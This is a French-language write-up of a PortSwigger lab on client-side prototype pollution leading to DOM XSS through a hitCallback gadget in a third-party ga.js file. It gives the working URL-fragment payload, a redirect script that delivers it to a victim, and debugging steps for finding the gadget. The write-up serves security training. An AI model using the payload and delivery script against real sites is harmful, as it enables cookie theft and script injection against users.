> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/prototype-pollution/client-side-prototype-pollution-in-third-party-libraries.md).

# Pollution de prototype côté client dans des bibliothèques tierces

### Pollution de prototype côté client dans des bibliothèques tierces

#### Contexte du laboratoire

Ce labo est vulnérable à une **XSS DOM via une pollution de prototype côté client**. / La particularité ici est que la vulnérable **gadget se trouve dans une bibliothèque JavaScript tierce**, dont le code est **minifié**, rendant l'analyse manuelle plus complexe.

Le labo s'inspire de vulnérabilités réelles mises en avant par **PortSwigger Research**, notamment dans l'article Widespread prototype pollution gadgets par **Gareth Heyes**.

Objectif final :/ \*\* Exécuter `alert(document.cookie)` dans le navigateur de la victime\*\*, en utilisant le serveur d'exploitation fourni.

### Approche recommandée : attaque automatique avec DOM Invader

#### Activation de DOM Invader

1. Ouvrez le navigateur intégré pour **Burp Suite**.

<figure><img src="/files/ff0682087d1caa72d7f776b200437a379a4d08e3" alt=""><figcaption></figcaption></figure>

* Vérifiez que le **DOM Invader** extension est active.

<figure><img src="/files/eb9b42cc870a41c7d90b0cc21576f1e75d8bb74f" alt=""><figcaption></figcaption></figure>

Activer :

* **DOM Invader est activé**
* **Type d'attaque : Pollution de prototype**

<figure><img src="/files/15b6910f2a4da037eb9c4815cb5dcb2dbeb6f162" alt=""><figcaption></figcaption></figure>

#### Identification de la source vulnérable

* Dans le **DOM Invader** onglet, une **source de pollution de prototype** est détectée automatiquement.
* DOM Invader indique que la pollution est possible via le \*\* fragment d'URL (`#`)\*\*, et non via des paramètres conventionnels (`?`).

<figure><img src="/files/9867d5c748bad729191dfc4249bea9b736871dee" alt=""><figcaption></figcaption></figure>

#### Découverte automatique de gadget

1. Lancer **Rechercher des gadgets** depuis DOM Invader.

<figure><img src="/files/5cc0e43fc8b5c28ec2c95bbb1d0d5f371569afbe" alt=""><figcaption></figcaption></figure>

Un gadget exploitable est identifié dans une bibliothèque tierce.

En cliquant **Exploiter**, DOM Invader confirme l'exécution avec un `alert(1)`.

<figure><img src="/files/548ab82d4b93d7c7d44dc0482395e2a9991e1617" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/c05d10deeb7cee5b1cdbc644c5ff3775b3355d69" alt=""><figcaption></figcaption></figure>

#### Charge utile finale (document.cookie)

Charge utile identifiée par DOM Invader :

```javascript
#constructor[prototype][hitCallback]=alert%28document.cookie%29
```

Cette charge utile déclenche l'alerte contenant les cookies

<figure><img src="/files/6e0944a65d4a4057ddf605912c2c0cafb2028bba" alt=""><figcaption></figcaption></figure>

#### Livraison de l'exploit à la victime

Le code suivant est envoyé avec le **serveur fonctionnant**:

```javascript
<script>
    window.location.href = 'https://0aab001004b09f5780ab035a00c40034.web-security-academy.net/#constructor[prototype][hitCallback]=alert%28document.cookie%29';
</script>
```

Lorsque la victime charge la page, du JavaScript est exécuté dans son navigateur

### Approche manuelle (analyse détaillée)

#### Tentatives de pollution conventionnelles (échec)

Les charges utiles suivantes \*\* ne fonctionnent pas\*\* :

```bash
/?__proto__[foo]=bar
/?__proto__.foo=bar
```

Résultat

```javascript
console.log({}.foo); // undefined
```

<figure><img src="/files/868ff9122ae978b1992c8435a3ea4dfffc884ff5" alt=""><figcaption></figcaption></figure>

#### Pollution via le fragment d'URL (succès)

Cependant, la pollution \*\* fonctionne avec `#`\*\*:

```javascript
#__proto__[foo]=bar
#__proto__.foo=bar
```

Cela indique que la source vulnérable consomme le fragment d'URL

<figure><img src="/files/a8fb35e2971bda452edc623c1b11813cd5937f3b" alt="" width="563"><figcaption></figcaption></figure>

#### Analyse de la bibliothèque tierce

* Un gros fichier est chargé :

/resources/js/ga.js

Environ 3000 lignes, code minifié.

* Ce fichier contient un rappel appelé hitCallback, utilisé sans vérification stricte.

<figure><img src="/files/8f82529950d960e221cc25f7f519dde11650ff3e" alt=""><figcaption></figcaption></figure>

### Identification manuelle du gadget

#### Technique de traçage avec `Object.defineProperty`

Pour trouver les propriétés lues sur `Object.prototype`, nous injectons :

```javascript
Object.defineProperty(Object.prototype, 'YOUR-PROPERTY', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

#### Arrêt de l'exécution JavaScript

<figure><img src="/files/3648c4ce3d7663d8b2fbc5b0c84dddac1f4d8fff" alt=""><figcaption></figcaption></figure>

En interceptant la réponse HTML, nous injectons :

```javascript
<script>
    debugger;
</script>
```

<figure><img src="/files/bdc193ea698dda727a78014dc95c5148a0ef3526" alt=""><figcaption></figcaption></figure>

Le navigateur s'arrête sur \*\*

<figure><img src="/files/6cfb7ab36b5c82a086ef5493c5851a7691dffa33" alt=""><figcaption></figcaption></figure>

#### Test des propriétés candidates

Exemple avec une propriété non exploitée

```javascript
Object.defineProperty(Object.prototype, 'anonymizeIp', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

Aucune trace intéressante.

<figure><img src="/files/cd11ba9b5a931266bb7cc4208cc2d97d531c2958" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/417c7f6500832ab85e1ca7693b822785787ec7b6" alt=""><figcaption></figcaption></figure>

#### Découverte d'un gadget valide : `hitCallback`

```javascript
Object.defineProperty(Object.prototype, 'hitCallback', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

Résultat :

* `console.trace()` révèle une chaîne d'appels depuis `ga.js`
* La propriété est bien **lue et exécutée comme fonction**

Ce comportement confirme que `hitCallback` est invoquée en tant que rappel JavaScript

```javascript
console.trace() debugger eval code:3:17
    get debugger eval code:3
    get https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    Vc https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:21
    j https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    Fa https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:63
    b https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    O https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:36
    push https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:33
    b https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    Fe https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
```

<figure><img src="/files/53eb7ff5a53169c9be9657b526499fd444a02dab" alt=""><figcaption></figcaption></figure>

Ce comportement confirme que `hitCallback` est invoquée en tant que rappel JavaScript

```javascript
ReferenceError non intercepté : polluted n'est pas défini
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:21
```

<figure><img src="/files/44b7f75fb0fcd0a577af38a9e33dfd0512bccd9c" alt=""><figcaption></figcaption></figure>

* Le `hitCallback` le gadget permet une \*\* exécution arbitraire de JavaScript\*\*, menant à un **XSS DOM**.

```javascript
Zc.prototype.stopPropagation = function () {
      throw 'aborted';
    };
    var Vc = function (a) {
      var b = this;
      this.fb = 0;
      var c = a.get(tc);
      this.Ua = function () {
        0 < b.fb &&
        c &&
        (b.fb--, b.fb || c())
      };
      this.Ja = function () {
        !b.fb &&
        c &&
        setTimeout(c, 10)
      };
      a.set(uc, b, !0)
    };
```

<figure><img src="/files/177babaac4b7361e66d6009ba4c7eab89510393f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/prototype-pollution/client-side-prototype-pollution-in-third-party-libraries.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
